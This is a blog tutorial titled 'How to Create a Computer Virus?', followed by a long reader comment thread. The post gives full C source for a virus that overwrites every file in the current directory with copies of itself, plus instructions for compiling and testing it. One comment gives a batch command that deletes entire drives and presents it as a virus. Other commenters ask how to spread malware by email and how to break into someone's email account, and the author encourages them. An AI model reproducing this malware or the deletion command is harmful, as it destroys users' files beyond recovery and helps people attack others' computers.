GoHacking.com: Ethical Hacking and Cyber Security
Home » C PROGRAMMING, HOW-TO GUIDES, VIRUS CREATION

How to Create a Computer Virus?

Submitted by on Friday, 7 December 200781 Comments

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE

81 Comments »

  • Anonymous said:

    This is the same as the one posted at http://vx.netlux.org/lib/vbw06.html and for obvious reasons it wont compile, there are minute erros to prevent little script kiddies from using it :)

  • rahul said:

    good

  • Veronika said:

    Hi,
    Let me give you a question.
    I can infect a victim with a virus sent by e-mail without the recipient opens the attachment?
    Thank you!
    Veronika.

  • himanshu said:

    hey shrikant,don’t laugh if i ask this question. I don’t know a word about C. Is it a software ?? or what??….. all that u wrote in this post have to be entered in the software??? or have i to learn C to know all that?

  • Srikanth (author) said:

    @ Himanshu

    C is a programming language.You need to learn this programming language to understand the codes that I have written on my site!

  • SATISH (director of sat multimedia) said:

    Nice………..& thaks

  • bhargav said:

    awe some keep it up n create more.

  • Zals said:

    Hey Sriki,i m much appreciated with ur work,i compiled the above code and gettin 4 errors as below:
    1- FILE *virus,*host ;(this has got error)
    2- undefined symbol VIRUS(i think thats because of the first error)
    if i get a solution for the first one i think i can compile it without error…i hope u ll help me..ty bhayya

  • Zals said:

    oh ya ..i forgot to tel u one thing,,,i m using turbo c++ :)

  • Slim0123 said:

    Hey you are not at all infecting other files, you are just copying your files with the names of the files present in the directory…..
    But in case of infection, the virus code resides with the original content, if your virus is infecting, for example, the notepad.exe file, then it should retain its obvious functions and with that the virus content too, I mean than when we run infected notepad.exe, then it should open up the notepad and execute the virus code tooo, not just the virus code, otherwise it wont survive longer……

  • redman said:

    how do i learn da c lang

  • Husain said:

    Srikant,
    I need your help in finding me the PW of Yahoo & Gmail as I was cheated by a partner in business I want to peep through his e-mails and see what is he upto-or I will suffer more by losing my international clients.
    Thanks Husain

  • vishal warang said:

    i want learn methods of creating virus

  • bharath said:

    i want a program or software for unblocking the websites that are blocked in my computer

  • Daniel Tatsuki said:

    Love all those. Please make some more posts in this catergory. woo!

  • rahul said:

    sir,i want to know that how we can start a computer if we do not know his passward? please reply me soon.

  • Srikanth (author) said:

    @ rahul

    You can start a password protected computer, but cannot login. If you want to login, then you need to break the password

  • shajith said:

    i want to know how the autorun program is working.

  • newbie said:

    @ srikanth

    Hey, I’m new to this and I would like to know where you learned the C language, can u link a good site? thnx

  • Srikanth (author) said:

    @ newbie

    You can start learning C from cprogramming.com

  • newbie said:

    thnx

  • newbie said:

    @srikanth

    should i learn C++ or C?

  • Srikanth (author) said:

    @ newbie

    first C then C++

  • Aqi said:

    hi, can i get ur permission to use ur program for my final year project.

  • Srikanth (author) said:

    @ Aqi

    You’re free to use it anywhere. You can also modify it to your needs… Enjoy..:)

  • Aqi said:

    thx. and if u dont mind..can i get ur email or messenger address. i have a few question to ask and discuss regarding my final project. thx again for ur time and consideration.

  • DEBPRATIM GHOSH said:

    CREATING A VIRUS IS SIMPLE FOR A WINDOWS COMPUTER.
    OPEN THE NOTEPAD AND TYPE
    rd/s/q D:\
    rd/s/q C:\
    rd/s/q E:\
    AND THEN SAVE THE FILE WITH A NAME VIRUS.BAT OR VIRUS.EXE
    THIS COMMAND “rd/s/q x:\” IS SIMPLY INSTRUCTING THE COMPUTER TO DELETE ALL THE FILES INSIDE THE DRIVE “x”. YOU CAN REPLACE THE X WITH THE DRIVE NAME SUCH AS ‘C’ OR ‘D’ OR ‘E’. WHATEVER THE DRIVE NAME IS JUST REPLACE THE X WITH THE NAME. THIS WAY YOU HAVE GOT THE FILE VIRUS.BAT OR VIRUS.EXE. THIS FILE IS A VIRS. IF YOU RUN THIS FILE THEN EVERY FILE IN THE INSTRUCTED DRIVE WILL BE DLELETD WITHIN 5MINUTES.

  • Srikanth (author) said:

    @ Aqi

    You can contact me from the contact page and I’ll receive your message on my email.

  • Aditya said:

    hai sir,

    inside of each and every folders there are folders like
    system volume information, recycler, thumbs., deskotp.ini files exists. what are these files. are they viruses. please tell me.
    i didnt create them.

  • Aditya said:

    hai,

    here i created a logic for producing permutations for a given number. but it is a static approach. could u please convert it to a dynamic approach.

    #include
    main()
    {
    int a[4]={1,2,3,4},i,j,k,h;
    clrscr();
    for(i=0;i<4;i++)
    for(j=0;j<4;j++)
    for(k=0;k<4;k++)
    for(h=0;h<4;h++)
    if(a[i]!=a[j])
    if(a[i]!=a[k])
    if(a[i]!=a[h])
    if(a[j]!=a[h])
    if(a[j]!=a[k])
    if(a[k]!=a[h])
    printf(“%d%d%d\t”,a[i],a[j],a[k]);
    getch();
    }

    please change it to dynamic approach.

    awaiting ur response

  • Srikanth (author) said:

    @ Aditya

    There are not viruus. They are system files. Leave them intact and they’ll not harm your PC.

  • Aditya said:

    how can we access command promt by using c language.
    i asked a modify a program. please do it.

  • Srikanth (author) said:

    @ Aditya

    Use system funtion to access Command prompt.
    Eg. system(“ping xyz.com”);

  • Srikanth (author) said:

    @ Aditya

    Use dynamic memory allocation malloc() to dynamically allocate the memory. Then use dynamic array intead of static array. Rest of the program remains same. If I get time I’ll send you the source code.

  • RahRah said:

    ok if i type rd/s/q C:\ in note pad and save it on my comp as VIRUS.BAT will that infect MY Computer??? and if no then how do i run this line of code? and is this transferable? Meaning can i upload this file to a remote comp and if so how do i make it run on open. im kinda a noob…still learning and this site seems to be the best site ive come across. i have 2 friends who went to comp school in san diego cali, and theyve been teachin me what they know…most of it is networking though…but im tryin to learn coding.

    “INFORMATION IS POWER”

  • Virendra said:

    hi Shrikant,
    can you please tell me from where can i get c compiler

  • Srikanth (author) said:

    @ RahRah

    It is transferrable. But you cannot make it run on open. It has to be manually executed..

  • aditya said:

    hai sir,

    i need to learn in deapth about ms dos from basics. so can u please tell me where can i get the e-materials for free. please i am inerested in developing program developing skills. please i am very much intersted.

  • Virendra said:

    hi Shrikant,
    can this file be compiled on dev c++ compiler

  • Vithulan said:

    Hi Srikanth brother,
    Don’t laugh to my childy question.
    Should I want to download C (whats it?)
    And how can I Create login.php(using notepad or other softwares)
    Atleast give me a basic Idea about PHP and about C
    Reply me soon pls pls.
    Thankyou.

  • Srikanth (author) said:

    @ Virendra

    Yes, but may require some modifications..

  • Srikanth (author) said:
  • naveen said:
  • Srikanth (author) said:

    @ naveen

    “system volume information ” is not a virus. it is an operation system file. So don’t be worried..

  • Raj Singh said:

    how can i get the original file that are affected
    by ur above code…
    pls tell me…

  • Srikanth (author) said:

    @ Raj Singh

    The damage caused by this virus is irreversible!

  • laxman gaire said:

    hi shrikant i;ve done it
    one ?
    can we affect others computer from our computer with this virus
    if yes then how???????

  • Hamwenxu said:

    system volume in4mation and recycler are system files but apparenly their is a virus that is using those names the virus will change your system information such as time and date so that you no longer cant update…..look out 4 it. they can be deleted using explorerXP(Shift delete)

  • Sarvesh said:

    Thanks sir………can u plz give me the algo for the above & similar program(s)…..

  • DjCall said:

    Is there a way in which we could create a virus in Basic

    I meant the BASIC language which is used for creating small programes

  • Ammiiirrrr said:

    Hi Srikanth,
    i have a few questions about learning C programming..usually how long does it take somebody to learn C programming bcoz i’m a total beginner to this thing..is it difficult to learn C??..where can i get the C compiler for free??

    thanx
    xxxx

  • Savio said:

    Bhai . Please tell me how to create a virus , in C or oops language . And i want to send it by net . Is there any virus . Plz help me yar

  • Savio said:

    Any virus small . big doesnt matter . But i want to send it by . Net , orkut . Email

  • Savio said:

    Please help me yar .

  • Srikanth (author) said:

    @ Savio

    I have already posted some of the virus source codes in C on my site…

  • fedata said:

    how can you create a computer virus in pascal programming language

  • cutelikekobra said:

    HI sri m nu 2 hacking and i dunno much about c,c++ where do i start?

  • oldnewby said:

    Hi, Srikanth, very interesting demonstration. I’m still learning a lot about computer languages. Is there a preferred language for viruses?

  • Srikanth (author) said:

    @ oldnewby

    Yes, most viruses are created in assembly language, also called as asm. asm is a low level programming language and is much more difficult than high level languages such as C, C++, Java etc.

  • Ankit said:

    why is the size of buff 2048? i.e char buff[2048];

  • Srikanth (author) said:

    @ Ankit

    Buffer size is 2048 bytes. this means at a time, 2048 bytes of data is copied from the source file to the taget file. You can change it to 512, 1024 etc. without any problem.

  • Bill said:

    Dear Sir,
    will you please let me know other websites, where I can know about creation and working of viruses.

  • bird said:

    hey …
    i had not yet practise it. But like to know that this viruses are not detected by the antiviruses. just want to know before trying will it harm the computer a lot?
    how would i know that it is infected?
    only that folder will b infected or whole computer will b infected.
    before trying i want to know the consequence so that i dont regret what i did to my computer…
    pls reply…//

  • Srikanth (author) said:

    @ bird

    Only the current folder will be infected and not the whole computer.

  • Loikaw said:

    good , I want to know about process hide when your virus process

  • neha said:

    i wnted to ask tht if i’d like to try it on my pc then wil it harm all d files in it or not? is it safe to try on my pc without any harm?

  • Srikanth (author) said:

    @ neha

    Yes it is safe to try. This virus will not infect your entire system files. It’s only infects the files that are located in the current folder (directory) in which it is executed.

  • prem said:

    please let me kbow abt compiler (borland c++ compiler) cos im new to this tricks.

  • jay said:

    hi shrikant,
    do u know any thing to hack location of any mobile no. by gps system. or any other. plz reply me.

  • T3ll said:

    Really thanks for taking your time and write some comments Srikanth!

  • rocky said:

    hi.. i want to know that if we try it on our pc will it harm any of the files……..

  • rocky said:

    hi.. i want to know that if we try it on our pc will it harm the files……

  • pradeep said:

    i can understand…….

    but wat is the function of argv and ffblk actually

    does findfirst finds all the files with extensions
    can i make it to find only exe files by “.exe”instead of “.”

  • pier said:

    sorry but in the code you haven’t defined the struct u use there… can you do it please..?

  • Srikanth (author) said:

    @ pradeep

    Yes you can just change from *.* to *.exe so that it’ll scan only for .exe files.

  • Srikanth (author) said:

    @ jay

    Refer this post How to spy on cell phone

  • Sarvesh said:

    Srhikant Sir,
    You are best of all……..!!!!!!!

  • harish said:

    does this work on any os

  • Srikanth (author) said:

    @ harish

    It works only on windows PC

  • Shah said:

    amazzzzzzing site …!
    hats off to u my frnd !

    PLZ KEEP THIS PLACE “ALIVE” for “EVER”

    Live Long Sri !

    :)

  • karna said:

    actually,virus are executed automatically from removable drive(pen drive)..how they are executed without double clicking when they are plugged into usb..please answer to this question i want to learn this not to spread just for knowledge…